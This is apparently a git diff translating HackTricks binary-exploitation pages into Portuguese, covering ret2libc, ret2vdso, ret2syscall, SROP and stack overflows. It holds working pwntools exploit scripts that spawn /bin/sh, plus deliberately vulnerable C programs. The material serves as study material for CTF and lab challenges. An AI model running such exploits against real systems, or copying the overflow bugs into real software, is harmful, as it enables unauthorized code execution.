print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
## Problemas comuns
## Common problems
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
### MAIN_PLT = elf.symbols\['main'] não encontrado
Se o símbolo "main" não existir (provavelmente porque é um binário removido). Então você pode apenas encontrar onde está o código principal:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
e defina o endereço manualmente:
```python
MAIN_PLT = 0x401080
```
### Puts não encontrado
### Puts not found
Se o binário não estiver usando Puts, você deve **verificar se está usando**
If the binary is not using Puts you should **check if it is using**
### `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Se você encontrar este **erro** após criar **todo** o exploit: `sh: 1: %s%s%s%s%s%s%s%s: não encontrado`
Tente **subtrair 64 bytes do endereço de "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
Pode haver **gadgets na região vDSO**, que é usada para mudar do modo usuário para o modo kernel. Neste tipo de desafios, geralmente uma imagem do kernel é fornecida para despejar a região vDSO.
Seguindo o exemplo de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) é possível ver como foi possível despejar a seção vdso e movê-la para o host com:
```bash
# Find addresses
cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
ROP gadgets found:
Gadgets ROP encontrados:
```python
vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
> Note que pode ser possível **contornar o ASLR abusando do vdso** se o kernel for compilado com CONFIG_COMPAT_VDSO, pois o endereço do vdso não será randomizado: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
Após despejar e verificar a seção vdso de um binário no kali 2023.2 arm64, não consegui encontrar lá nenhum gadget interessante (sem forma de controlar registradores a partir de valores na pilha ou controlar x30 para um ret) **exceto uma forma de chamar um SROP**. Confira mais informações no exemplo da página:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
Isso é semelhante ao Ret2lib, no entanto, neste caso, não estaremos chamando uma função de uma biblioteca. Neste caso, tudo será preparado para chamar a syscall `sys_execve` com alguns argumentos para executar `/bin/sh`. Essa técnica é geralmente realizada em binários que são compilados estaticamente, então pode haver muitos gadgets e instruções de syscall.
In order to prepare the call for the **syscall** it's needed the following configuration:
Para preparar a chamada para a **syscall**, é necessária a seguinte configuração:
- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
- `rax: 59 Especificar sys_execve`
- `rdi: ptr para "/bin/sh" especificar arquivo a ser executado`
- `rsi: 0 especificar nenhum argumento passado`
- `rdx: 0 especificar nenhuma variável de ambiente passada`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
Então, basicamente, é necessário escrever a string `/bin/sh` em algum lugar e, em seguida, realizar a `syscall` (estando ciente do padding necessário para controlar a pilha). Para isso, precisamos de um gadget para escrever `/bin/sh` em uma área conhecida.
> [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> Outra syscall interessante para chamar é **`mprotect`**, que permitiria a um atacante **modificar as permissões de uma página na memória**. Isso pode ser combinado com [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
## Register gadgets
Let's start by finding **how to control those registers**:
## Gadgets de Registro
Vamos começar encontrando **como controlar esses registradores**:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Com esses endereços, é possível **escrever o conteúdo na pilha e carregá-lo nos registradores**.
With these addresses it's possible to **write the content in the stack and load it into the registers**.
## Escrever string
## Write string
### Writable memory
First you need to find a writable place in the memory
### Memória gravável
Primeiro, você precisa encontrar um lugar gravável na memória.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Escrever String na memória
### Write String in memory
Then you need to find a way to write arbitrary content in this address
Então você precisa encontrar uma maneira de escrever conteúdo arbitrário neste endereço.
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Automatizar cadeia ROP
### Automate ROP chain
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
O seguinte comando cria uma cadeia ROP completa `sys_execve` dado um binário estático quando há gadgets write-what-where e instruções syscall:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Gadgets Faltando
## Lacking Gadgets
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
Se você está **sem gadgets**, por exemplo, para escrever `/bin/sh` na memória, você pode usar a **técnica SROP para controlar todos os valores dos registradores** (incluindo RIP e registradores de parâmetros) a partir da pilha:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
## Exploit Example
## Exemplo de Exploit
```python
from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive()
```
## Other Examples & References
## Outros Exemplos & Referências
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
- 64 bits, sem PIE, nx, escrever em alguma memória um ROP para chamar `execve` e pular para lá.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
- 64 bits, nx, sem PIE, escrever em alguma memória um ROP para chamar `execve` e pular para lá. Para escrever na pilha, uma função que realiza operações matemáticas é abusada.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
- 64 bits, sem PIE, nx, canário BF, escrever em alguma memória um ROP para chamar `execve` e pular para lá.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,80 +2,73 @@
{{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in:
Encontre uma introdução ao arm64 em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Código
We are going to use the example from the page:
Vamos usar o exemplo da página:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
vulnerable_function();
return 0;
}
```
Compile without pie and canary:
Compile sem pie e canário:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
In order to prepare the call for the **syscall** it's needed the following configuration:
Para preparar a chamada para o **syscall**, é necessária a seguinte configuração:
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
- `x8: 221 Especificar sys_execve`
- `x0: ptr para "/bin/sh" especificar arquivo a ser executado`
- `x1: 0 especificar nenhum argumento passado`
- `x2: 0 especificar nenhuma variável de ambiente passada`
Usando ROPgadget.py, consegui localizar os seguintes gadgets na biblioteca libc da máquina:
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
nop ;
nop ;
mov x8, #0xdd ;
svc #0
```
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
Com os gadgets anteriores, podemos controlar todos os registradores necessários a partir da pilha e usar x5 para pular para o segundo gadget para chamar a syscall.
> [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
> Note que saber essa informação da biblioteca libc também permite realizar um ataque ret2libc, mas vamos usá-la para este exemplo atual.
### Exploit
```python
from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,26 +1,25 @@
# SROP - Sigreturn-Oriented Programming
# SROP - Programação Orientada a Retorno com Sigreturn
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
**`Sigreturn`** é uma **syscall** especial que é usada principalmente para limpar após a execução de um manipulador de sinal. Sinais são interrupções enviadas a um programa pelo sistema operacional, frequentemente para indicar que uma situação excepcional ocorreu. Quando um programa recebe um sinal, ele pausa temporariamente seu trabalho atual para lidar com o sinal usando um **manipulador de sinal**, uma função especial projetada para lidar com sinais.
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
> [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que fossem carregados na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil controlar os parâmetros para chamar outras Ret2syscalls:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
Se você está curioso, esta é a **estrutura sigcontext** armazenada na pilha para recuperar os valores posteriormente (diagrama de [**aqui**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
For a better explanation check also:
Para uma melhor explicação, confira também:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
## Exemplo
Você pode [**encontrar um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) onde a chamada para signeturn é construída via ROP (colocando em rxa o valor `0xf`), embora este seja o exploit final a partir daí:
```python
from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
Verifique também o [**exploit daqui**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) onde o binário já estava chamando `sigreturn` e, portanto, não é necessário construir isso com um **ROP**:
```python
from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Other Examples & References
## Outros Exemplos & Referências
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** e ler a flag que está dentro da memória do binário.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
- Binário em Assembly que permite **escrever na pilha** e então chama a syscall **`sigreturn`**. É possível escrever na pilha um [**ret2syscall**](../rop-syscall-execv/) via uma estrutura **sigreturn** (o binário tem a string `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
- 64 bits, sem relro, sem canário, nx, sem pie. Simples buffer overflow abusando da função `gets` com falta de gadgets que realiza um [**ret2syscall**](../rop-syscall-execv/). A cadeia ROP escreve `/bin/sh` na `.bss` chamando `gets` novamente, abusa da função **`alarm`** para definir eax como `0xf` para chamar um **SROP** e executar um shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- Programa em Assembly de 64 bits, sem relro, sem canário, nx, sem pie. O fluxo permite escrever na pilha, controlar vários registradores e chamar uma syscall e então chama `exit`. A syscall selecionada é um `sigreturn` que irá definir registradores e mover `eip` para chamar uma instrução de syscall anterior e executar `memprotect` para definir o espaço binário como `rwx` e definir o ESP no espaço binário. Seguindo o fluxo, o programa chamará `read` novamente para o ESP, mas neste caso o ESP estará apontando para a próxima instrução, então passando um shellcode, ele será escrito como a próxima instrução e executado.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
- SROP é usado para dar privilégios de execução (memprotect) ao local onde um shellcode foi colocado.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Pwntools example
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
## Exemplo de Pwntools
Este exemplo cria o binário vulnerável e o explora. O binário **lê na pilha** e então chama **`sigreturn`**:
```python
from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## exemplo de bof
## bof example
### Code
### Código
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
char* b = gen_stack();
do_stuff(2);
return 0;
}
```
Compile it with:
Compile-o com:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
## Exploit
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
O exploit abusa do bof para retornar à chamada para **`sigreturn`** e preparar a pilha para chamar **`execve`** com um ponteiro para `/bin/sh`.
```python
from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## exemplo de bof sem sigreturn
## bof example without sigreturn
### Code
### Código
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
char* b = gen_stack();
return 0;
}
```
## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
Na seção **`vdso`** é possível encontrar uma chamada para **`sigreturn`** no offset **`0x7b0`**:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
Portanto, se vazar, é possível **usar este endereço para acessar um `sigreturn`** se o binário não estiver carregando-o:
```python
from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
For more info about vdso check:
Para mais informações sobre vdso, verifique:
{{#ref}}
../ret2vdso.md
{{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
E para contornar o endereço de `/bin/sh`, você pode criar várias variáveis de ambiente apontando para ele, para mais informações:
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/

View File

@ -2,37 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
## What is a Stack Overflow
## O que é um Stack Overflow
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input.
Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**.
O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack.
A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one.
For example, the following functions could be vulnerable:
Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
Por exemplo, as seguintes funções poderiam ser vulneráveis:
```c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Encontrando os offsets de Stack Overflows
### Finding Stack Overflows offsets
A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**.
Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento \_n**\_\*\* aparece exatamente uma vez\*\* como uma subsequência contígua.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e então encontrar o offset dos bytes que acabaram sobrescrevendo-o.
É possível usar **pwntools** para isso:
```python
from pwn import *
@ -44,26 +41,23 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
